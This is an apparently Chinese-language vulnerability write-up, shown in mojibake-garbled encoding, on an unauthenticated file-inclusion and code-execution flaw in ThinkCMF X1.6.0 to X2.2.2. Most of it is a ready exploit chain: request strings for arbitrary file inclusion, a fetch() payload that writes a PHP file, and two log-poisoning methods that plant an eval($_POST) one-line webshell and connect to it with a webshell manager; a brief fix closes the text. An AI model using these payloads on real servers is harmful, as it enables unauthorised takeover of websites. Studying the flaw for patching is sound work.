ThinkCMF框架任意內(nèi)容包含漏洞
ThinkCMF簡介
ThinkCMF是一款基于PHP+MYSQL開發(fā)的中文內(nèi)容管理框架,底層采用ThinkPHP3.2.3構建。ThinkCMF提出靈活的應用機制,框架自身提供基礎的管理功能,而開發(fā)者可以根據(jù)自身的需求以應用的形式進行擴展
每個應用都能獨立的完成自己的任務,也可通過系統(tǒng)調(diào)用其他應用進行協(xié)同工作。在這種運行機制下,開發(fā)商場應用的用戶無需關心開發(fā)SNS應用時是如何工作的,但他們之間又可通過系統(tǒng)本身進行協(xié)調(diào),大大的降低了開發(fā)成本和溝通成本
漏洞介紹
遠程攻擊者在無需任何權限情況下,通過構造特定的請求包即可在遠程服務器上執(zhí)行任意代碼
影響版本
ThinkCMF X1.6.0ThinkCMF X2.1.0ThinkCMF X2.2.0ThinkCMF X2.2.1ThinkCMF X2.2.2
環(huán)境搭建
ThinkCMFX2.2.2下載鏈接:https://pan.baidu.com/s/1rK1-_BLmH1VPXsIUfr1VUw 提取碼:wuhw
將下載好的ThinkCMF解壓后放在WWW目錄下,然后瀏覽器訪問即可看到安裝頁面


安裝好之后訪問頁面為

漏洞分析
首先打開index.php文件,查看程序的項目路徑,可以看到項目路徑在application目錄下

在項目路徑下找到入口分組的控制器類選擇IndexController 控制器類打開,可以知道繼承了HomebaseController,通過gma參數(shù)指定分組模塊方法,這里可以通過a參數(shù)直接調(diào)用PortalIndexController父類(HomebaseController)中的一些權限為public的方法


可以看的的public方法里就有display()、fetch(),還有方法作用及參數(shù)含義
display函數(shù) (可以自定義加載模版,通過$this->parseTemplate 函數(shù)根據(jù)約定確定模版路徑,如果不符合原先的約定將會從當前目錄開始匹配) 的作用是加載模板和頁面輸出,所對應的參數(shù)為:templateFile為模板文件地址,charset模板字符集,contentType輸出類型,content輸出內(nèi)容

templateFile參數(shù)會經(jīng)過parseTemplate()方法處理
在applicationCommonControllerAdminbaseController.class.php的parseTemplate()方法如下

parseTemplate()方法作用:判斷模板主題是否存在,當模板主題不存在時會在當前目錄下開始查找,形成文件包含
構造的payload為 :index.php?a=display&templateFile=README.md

這里fetch函數(shù)的三個參數(shù)分別對應模板文件,輸出內(nèi)容,模板緩存前綴。利用時templateFile和prefix參數(shù)可以為空,在content參數(shù)傳入待注入的php代碼即可
漏洞復現(xiàn)
1.通過構造a參數(shù)的display()方法,實現(xiàn)任意內(nèi)容包含漏洞
?a=display&templateFile=README.md
2.通過構造a參數(shù)的fetch()方法,在不需要知道文件路徑的情況下就可以實現(xiàn)任意文件寫入
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('1.php',' phpinfo(); ')</php>執(zhí)行paylaod,如果頁面是空白的,則說明可能寫入成功

3.訪問寫入的文件1.php,發(fā)現(xiàn)成功寫入文件

ThinkCMF緩存getshell
由于thinkcmf2.x使用了thinkphp3.x作為開發(fā)框架,默認情況下啟用了報錯日志并且開啟了模板緩存,導致可以使用加載一個不存在的模板來將生成一句話的PHP代碼寫入data/runtime/Logs/Portal目錄下的日志文件中,再次包含該日志文件即可在網(wǎng)站根目錄下生成一句話木馬m.php
有兩種方式可以getshell
第一種方法
?a=display&templateFile= file_put_contents('shell.php','<?php+eval($_POST["6666"]);?>');die();
發(fā)送請求,thinkphp生成的日志的格式為 年-月份-日期 (請求的日期)
http://target.domain/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log
可以看到已經(jīng)成功創(chuàng)建了shell.php文件

然后使用蟻劍成功連接

第二種方法
發(fā)送以下請求
http://target.domain/?a=display&templateFile= eval($_POST["6666"]);
然后直接使用一句話管理工具連接
http://target.domain/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log
修復方法
將 HomebaseController.class.php 和 AdminbaseController.class.php 類中 display 和 fetch 函數(shù)的修飾符改為 protected
